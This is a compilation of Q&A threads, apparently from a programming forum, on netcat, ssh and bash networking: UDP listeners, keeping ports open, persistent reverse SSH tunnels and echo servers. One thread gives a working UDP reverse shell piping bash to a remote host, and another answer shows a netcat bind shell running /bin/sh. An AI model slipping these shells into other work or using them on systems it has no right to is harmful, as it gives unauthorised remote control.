I execute my bash script PLCCheck as process
./PLCCheck &
PLCCheck
while read -r line
do
...
def_host=192.168.100.110
def_port=6002
HOST=${2:-$def_host}
PORT=${3:-$def_port}
echo -n "OKConnection" | netcat -u -c $HOST $PORT
done < <(netcat -u -l -p 6001)
It listens on UDP Port 6001.
When I want to execute my second bash script SQLCheck as process that listens on UDP Port 4001
./SQLCheck &
SQLCheck
while read -r line
do
...
def_host=192.168.100.110
def_port=6002
HOST=${2:-$def_host}
PORT=${3:-$def_port}
echo -n "OPENEF1" | netcat -u -c $HOST $PORT
done < <(nc -l -p 4001)
I got this error:
Error: Couldn't setup listening socket (err=-3)
Port 6001 and 4001 are open in the iptables and both scripts work as a single process. Why do I get this error?
I have checked the man page of nc. I think it is used on a wrong way:
-l Used to specify that nc should listen for an incoming connection rather
than initiate a connection to a remote host. It is an error to use this
option in conjunction with the -p, -s, or -z options. Additionally,
any timeouts specified with the -w option are ignored.
...
-p source_port
Specifies the source port nc should use, subject to privilege restrictions
and availability. It is an error to use this option in conjunction with the
-l option.
According to this one should not use -l option with -p option!
Try to use without -p, just nc -l 4001. Maybe this is the error...
Related
I need to ssh into memcached servers and execute ensure connectivity.
I am supposed to re-use the same ssh connection and keep executing the commands whose output will be stored in some log. This is supposed to be a scheduled job which runs at some specific intervals.
Code 1 makes multiple ssh connections for each execution.
#!/bin/bash
USERNAME=ec2-user
HOSTS="10.243.107.xx 10.243.124.xx"
KEY=/home/xxx/xxx.pem
SCRIPT="echo stats | nc localhost 11211 | grep cmd_flush"
for HOSTNAME in ${HOSTS} ; do
ssh -l ${USERNAME} -i ${KEY} ${HOSTNAME} "${SCRIPT}"
done
Code 2 hangs after ssh.
#!/bin/bash
USERNAME=ec2-user
KEY=/home/xxx/xxx.pem
ssh -l ${USERNAME} -i ${KEY} 10.243.xx.xx
while:
do
echo stats | nc localhost 11211 | grep cmd_flush
sleep 1
done
Is there any better way of doing this?
Since you want to have Code 2 run the infinite while loop on the remote host, you can pass that whole thing to the ssh command, after fixing the while statement:
#!/bin/bash
USERNAME=ec2-user
KEY=/home/xxx/xxx.pem
ssh -l ${USERNAME} -i ${KEY} 10.243.xx.xx '
while true
do
echo stats | nc localhost 11211 | grep cmd_flush
sleep 1
done
'
I have to warn that I think the whole approach is somewhat fragile, though. Long-standing ssh connections tend to die for various reasons, which don't always mean the connectivity is actually broken. Make sure the parent script that calls this notices dropped ssh connections and tries again. I guess you can put this script in a loop, and maybe log a warning each time the connection is dropped, and log an error if the connection cannot be re-established.
I want to get a reverse shell over UDP using netcat. Netcat by default sends traffic over TCP, so in order to send it over UDP I run the -u option like this:
Host 1:
nc.traditional -l -p 4444 -v -u
Host 2:
nc.traditional localhost 4444 -e /bin/bash -u
But when I type a bash command I do not get the output. Why is that?
There are several problems with this:
You use localhost on Host 2. This is a special hostname that refers to the current host, not to Host 1.
UDP has no connections. Host 1 won't know where to send packets if it doesn't receive a message first.
bash reads input character by character, which doesn't work well with non-stream packet based data.
You can instead connect nc and bash with streams, and then send an immediate packet so that Host 1 will know where to send the commands you enter:
Host1:
nc.traditional -l -p 4444 -v -u
Host 2:
mkfifo fifo
nc.traditional -u host1 4444 < fifo |
{
echo "Hi"
bash
} > fifo
Is it possible to listen to a port continuously?
I listen for incoming tcp notifications with following command
sudo nc -l -p 999
But as soon as notification arrives I have to restart listen with same command. Is it possible to listen to port without having to restart command when notifications arrives until user decides to abort listen?
Sorta outdated question, but came up first on my Google search.
In order for netcat not to shutdown as soon as the first connection is received, you can add the -k option.
From the man:
-k Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option.
Src: https://superuser.com/a/708133/410908
Solved with a simple bash script
#!/bin/bash
#Make Sure Script Is Ran As Root
if [ $(id -u) != 0 ]; then
echo; echo -e "\e[1;31mScript must be run as sudo. Please Type \"sudo\" To Run As Root \e[0m"; echo
exit 1
fi
echo "Enter port to listen"
read portL
while true;
do
nc -l -p $portL
done
exit 0
Thanks dreamlax for the tip!
I'm using reverse ssh for connecting to remote client , Operator run reverse one time and leave client system
how can i write bash script , when reverse ssh disconnected from server retry to connect to server (ssh)
Use autossh. Autossh "automatically restart[s] SSH sessions and tunnels"
sudo apt-get install autossh
I use autossh to to keep open reverse tunnel that I depend on. It works very well, even with long periods of lost connection.
Here is the script I use to create the tunnel:
#!/bin/bash
AUTOSSH_GATETIME=0
export AUTOSSH_GATETIME
autossh -f -N -R 8022:localhost:22 username#host -o "ServerAliveInterval 45" -o "ServerAliveCountMax 2"
I execute this script at boot with this cronjob:
#reboot /home/scripts/./persistent-tunnel.sh
If you simply want to retry a command until it succeeds, you can use this pattern:
while ! ssh [...]
do
echo "Command failed, retrying..." >&2
done
I have a slightly different method.
My method always tries to reconnect you if you have a dirty disconnection: '~.' or 'Connection closed by remote host.'
But if you disconnect with 'CRTL+D' or with 'exit' it just disconnects and show you some info of the connections.
I have a slightly different method.
My method always tries to reconnect you if you have a dirty disconnection: '~.' or 'Connection closed by remote host.'
But if you disconnect with 'CRTL+D' or with 'exit' it just disconnects and show you some info of the connections.
#/bin/bash
if [ -z "$1" ]
then
echo '''
Please also provide ssh connection details.
'''
exit 1
fi
retries=0
repeat=true
today=$(date)
while "$repeat"
do
((retries+=1)) &&
echo "Try number $retries..." &&
today=$(date) &&
ssh "$#" &&
repeat=false
sleep 5
done
echo """
Disconnected sshx after a successful login.
Total number of tries = $retries
Connected at:
$today
"""
You might want to take a look into ssh options ServerAliveInterval, ServerAliveCountMax and TCPKeepAlive because sometimes your line dies without making this obvious, let me demonstrate:
#!/bin/sh
while true; do
ssh -T user#host \
-o IdentityFile=~/.ssh/tunnel \
-o UserKnownHostsFile=~/.ssh/known_hosts.tunnel \
pkill -f "^sshd:\ user\ \ \ \ $" # needs to be edited for nearly every case
sleep 2
ssh -T -N user#host \
-o IdentityFile=~/.ssh/tunnel \
-o UserKnownHostsFile=~/.ssh/known_hosts.tunnel \
-o Batchmode=yes \
-o ExitOnForwardFailure=yes \
-o ServerAliveCountMax=1 \
-o ServerAliveInterval=60 \
-o LocalForward=127.0.0.1:2501=127.0.0.1:25 \
-o RemoteForward=127.0.0.1:2501=127.0.0.1:25
sleep 60
done
You can use netstat -ntp | grep ":22" or ss -ntp | grep ":22" to see established connections to ssh port, then use grep to filter the ip address you're looking for. If you don't find a connection then reconnect the tunnel.
Use autossh if it works on your version of Linux. It did not on mine as it was an outdated Linux distribution for a custom NAS box.
The alternative is a simple bash script in crontab like this:
maintain_reverse_ssh_tunnel.sh
if ! netstat -planet |grep myserver_ip_or_name |grep ESTABLISHED > /dev/null; then
echo "REVERSE SSH DOWN - Restarting the tunnels"
ssh -fN -R 32999:localhost:22 -R 28080:localhost:80 myusername#myserver_ip_or_name
fi
Replace myusername and myserver_ip_or_name with those of your user and server.
Then add an entry to crontab by typing crontab -e and adding the following line:
1 * * * * /path_to_my_script/maintain_reverse_ssh_tunnel.sh
Make sure to have the execute permissions on the script:
chmod 755 maintain_reverse_ssh_tunnel.sh
How to write a echo server bash script using tools like nc, echo, xargs, etc capable of simultaneously processing requests from multiple clients each with durable connection?
The best that I've came up so far is
nc -l -p 2000 -c 'xargs -n1 echo'
but it only allows a single connection.
If you use ncat instead of nc your command line works fine with multiple connections but (as you pointed out) without -p.
ncat -l 2000 -k -c 'xargs -n1 echo'
ncat is available at http://nmap.org/ncat/.
P.S. with the original the Hobbit's netcat (nc) the -c flag is not supported.
Update: -k (--keep-open) is now required to handle multiple connections.
Here are some examples. ncat simple services
TCP echo server
ncat -l 2000 --keep-open --exec "/bin/cat"
UDP echo server
ncat -l 2000 --keep-open --udp --exec "/bin/cat"
In case ncat is not an option, socat will also work:
socat TCP4-LISTEN:2000,fork EXEC:cat
The fork is necessary so multiple connections can be accepted. Adding reuseaddr to TCP4-LISTEN may be convenient.
netcat solution pre-installed in Ubunutu
The netcat pre-installed in Ubuntu 16.04 comes from netcat-openbsd, and has no -c option, but the manual gives a solution:
sudo mknod -m 777 fifo p
cat fifo | netcat -l -k localhost 8000 > fifo
Then client example:
echo abc | netcat localhost 8000
TODO: how to modify the input string value? The following does not return any reply:
cat fifo | tr 'a' 'b' | netcat -l -k localhost 8000 > fifo
The remote shell example however works:
cat fifo | /bin/sh -i 2>&1 | netcat -l -k localhost 8000 > fifo
I don't know how to deal with concurrent requests simply however.
what about...
#! /bin/sh
while :; do
/bin/nc.traditional -k -l -p 3342 -c 'xargs -n1 echo'
done